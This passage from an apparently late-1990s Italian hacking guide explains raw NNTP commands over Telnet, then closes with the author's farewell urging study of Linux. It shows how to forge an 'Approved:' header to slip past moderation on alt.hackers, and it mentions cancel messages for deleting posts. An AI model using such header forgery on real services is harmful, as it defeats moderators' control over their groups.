211 100 110 123 msgs Your new group is alt.music.progressive
```

eccone... l'interpretazione:
211 è il messaggio di conferma (numerico) del server
100 è il numero di articoli presenti su quel newsgroup
110 è il numero del primo articolo
123 è il numero dell'ultimo articolo

Supponiamo ora di voler leggere i messaggi; faremo cosi`:
ARTICLE 110 (il server risponderà con un messaggio a ogni comando che gli daremo)
HEAD 110 (per avere gli headers del messaggio, se ci interessano)
BODY 110 (per leggere il messaggio vero e proprio)

ora possiamo usare NEXT invece di scrivere ARTICLE 111, 112, 113, ecc. (oppure possiamo continuare cosi`).

Per controllare tutti gli ultimi messaggi arrivati, faremo cosi`:

```
NEWNEWS alt.hackers 971201 0512
```

in questo esempio, il server ci risponderà con i Message-ID di tutti i nuovi messaggi (news) inviati dal giorno 01-12-97 (971201 al contrario) alle ore 05:12 (oppure 0100 per dire dalle 01:00 del mattino, ecc).

NOTA: è possibile usare un asterisco per selezionare tutti i newsgroup, oppure una parte di essi. Per esempio, alt.hack* corrisponde a:

```
alt.hack
alt.hacker
alt.hackers
alt.hackers.cough.cough.cough
alt.hackers.malicious
...
```

Il comando NEWGROUPS è l'equivalente di NEWNEWS, ma orientato ai newsgroups.

Per avere una lista di tutti i nuovi newsgroup creati da una certa data, basterà scrivere:

```
NEWGROUPS 971120 0100
```

(elenca tutti i nuovi newsgroups creati dal 20-11-97 alle 01:00 in poi).

Spiegherò, infine, come inviare un messaggio a un newsgroup.

L'utilità di postare tramite Telnet è, principalmente, quella di poter liberamente inserire tutti gli headers che vogliamo nel nostro articolo.

Ad esempio, per postare un articolo su alt.hackers sappiate che non basta inviarlo da un normale newsreader (tipo Outlook, Forte Agent e Netscape News) ma, dal momento che è un newsgroup MODERATO, dovrete inserire un header addizionale:

```
Approved: yes
```

(invece di "yes" potete scrivere qualsiasi altra cosa).

Senza questo header, i messaggi inviati saranno respinti dai server in USA.

Il comando da usare è "POST", seguito dal nostro messaggio, completo di tutti gli headers e del messaggio vero e proprio.

Ecco un esempio completo:
(S: è il server, N: siamo noi - ovviamente N: e S: non vanni messi ;)

```
[ INIZIO ESEMPIO --> ]

N:  POST
S:  340 Continue posting, ecc.....
N:  From: "nessuno"
N:  Newsgroups: alt.irc.corruption
N:  Subject: prova
N:  Message-ID:
N:  Date: 12 Dec 97 12:05:22 GMT
N:  Approved: lord@shinva.net                          (opzionale)
N:  X-Newsreader: telnet :)                            (opzionale)
N:  Lines: 3                                           (numero di righe)
N:                                                     (linea vuota)
N:  qui scriviamo...
N:  il nostro...
N:  messaggio!
N:                                                     (linea vuota)
N:                                                     (linea vuota)
N:  .                                                  (punto)
N:                                                     (linea vuota)
S:  240 Article posted successfully
N:  QUIT
S:  205 Interbusiness closing connection.  Goodbye.

[ <-- FINE ESEMPIO ]
```

Notate la linea vuota seguita dal punto e da un'altra linea vuota, alla fine del messaggio: serve a indicare al server che il nostro messaggio è terminato (ricordate? si fa lo stesso anche con le fakemail).

NOTA IMPORTANTE: se nel vostro messaggio sono presenti linee che iniziano con un punto, dovrete aggiungerne un altro all'inizio della riga, per evitare che il news server possa confondere quel punto con il punto che si usa per indicare la fine del messaggio!

Postilla

~~~~~~~~

Bene... questa era la teoria, ora datevi alla pratica!
Sarebbe però buona norma NON iniziare cancellando messaggi degli altri (e non farlo neanche dopo, a meno che non sia necessario... tipo spamming, insulti, ecc).

Iniziate a postare, ad esempio, un normale msg di prova su alt.test.test (è un newsgroup di prova sul quale potete scrivere quello che vi pare), e poi inviate un messaggio di controllo (di tipo "cancel") per eliminarlo in base al suo "Message-ID". Se viene cancellato, ci siete riusciti.

NOTA: tenete presente che se avete già scaricato il msg sul vostro PC non vi accorgerete dell'avvenuta cancellazione. Per controllare, utilizzate Telnet come descritto sopra.

Per ulteriori informazioni vi consiglio di leggervi la RFC 977 e, se volete approfondire, anche la RFC 850 (sono in inglese).

Potete prelevare queste documentazioni dai seguenti (o altri) siti:

ftp://ftp.digex.net/.1/rfc/
ftp://ftp.ridder.no/.02/rfc
ftp://ftp.hkstar.com/.1/netinfo/rfc/
ftp://ftp.almac.co.uk/pub/internet/RFC/
ftp://ftp.cdrom.com/.22/obi/Networking/rfc/
ftp://ftp.umr.edu/.pub/rfc/
ftp://ftp.lysator.liu.se/.pub2/doc/rfc/

(i nomi dei file sono rfc850.txt e rfc977.txt).

Ovviamente ci sono molti altri siti... basta cercare con FTPSearch o Filez
la parola RFC977.TXT (ad esempio) e si avrà una lista aggiornata di siti.

In particolare, la RFC 850 descrive lo standard per lo scambio dei messaggi
su Usenet, mentre la RFC 977 descrive il protocollo NNTP, i comandi "interni"
e tutti i messaggi di errore generati dai server.

Buon lavoro.
"...rain down... come on rain down on me.... from a great height..."
-- Radiohead

CONCLUSIONE

~~~~~~~~~~~~

Con questo volume concludo la serie dei miei volumi dell'enciclopedia dell'hacking, terminata prematuramente l'anno scorso. A quanti hanno apprezzato il mio lavoro e mi hanno sostenuto con i loro commenti, desidero dire grazie e mi auguro che l'argomento possa avervi appassionato e che, da ora in poi, cerchiate da soli le informazioni che vi servono. Anche questo fa parte dell'hacking; bisogna avere una mente curiosa, sempre in movimento, assetata di conoscenza, di informazioni. E dovete essere voi a cercarle. Le documentazioni come quelle a cui vi ho abituato sono per chi deve ancora essere introdotto alla materia, e hanno il difetto di diventare inutili dopo poco tempo, perché il mondo dell'informatica e` in costante evoluzione. L'hacking e` conoscenza; dunque, cercatela.
Lasciate le net war e la pirateria ai ragazzini che non hanno di meglio da fare, e dedicatevi all'hacking: non un ammasso di informazioni e programmi fatti da altri, non un modo per diventare qualcuno, bensì uno stile di vita e un modo per appagare la propria sete di conoscenza.

Sono consapevole che quest'ultimo volume sarà sgradito a molte persone, ma era necessario per correggere gli errori e l'atteggiamento passati. I volumi precedenti a questo sono ormai vecchi, e benché possano ancora costituire una buona

base per capire alcuni concetti di base, non possono più essere considerati una guida efficace. Gli exploits sono ormai datati. Cercatene di nuovi su www.rootshell.com o su www.technotronic.com, e tenete presente che usare exploit non farà di voi degli hackers.

Volete la chiave per imparare il vero hacking? Linux. Installatelo.
Organizzatevi in gruppi di discussione, o utilizzate quelli già esistenti, e studiate questo sistema operativo (che tra l'altro e` gratuito e può anche "convivere" con windows, se avete paura di lasciarlo).
Vi costringerà a pensare, a guardare l'informatica sotto un altro aspetto, a pensare con la mentalità di un hacker. File systems, sharing, reti, memoria, programmazione, scripts, servers, ecc... e` tutto li`.
Quando - anche con l'aiuto dei libri - riuscirete a padroneggiarlo, sarete molto probabilmente già diventati hackers senza esservene resi conto.

Da parte mia, dopo tanto tempo, sono stanco della figura di Lord Shinva che mi ha accompagnato come ego virtuale in questi anni. Vi lascio dunque definitivamente, certo che potrete tranquillamente ottenere qualcosa di buono anche senza il mio aiuto, e mi auguro che continuiate a dedicarvi a quell'arte affascinante che si chiama hacking.

+- +-

+- +-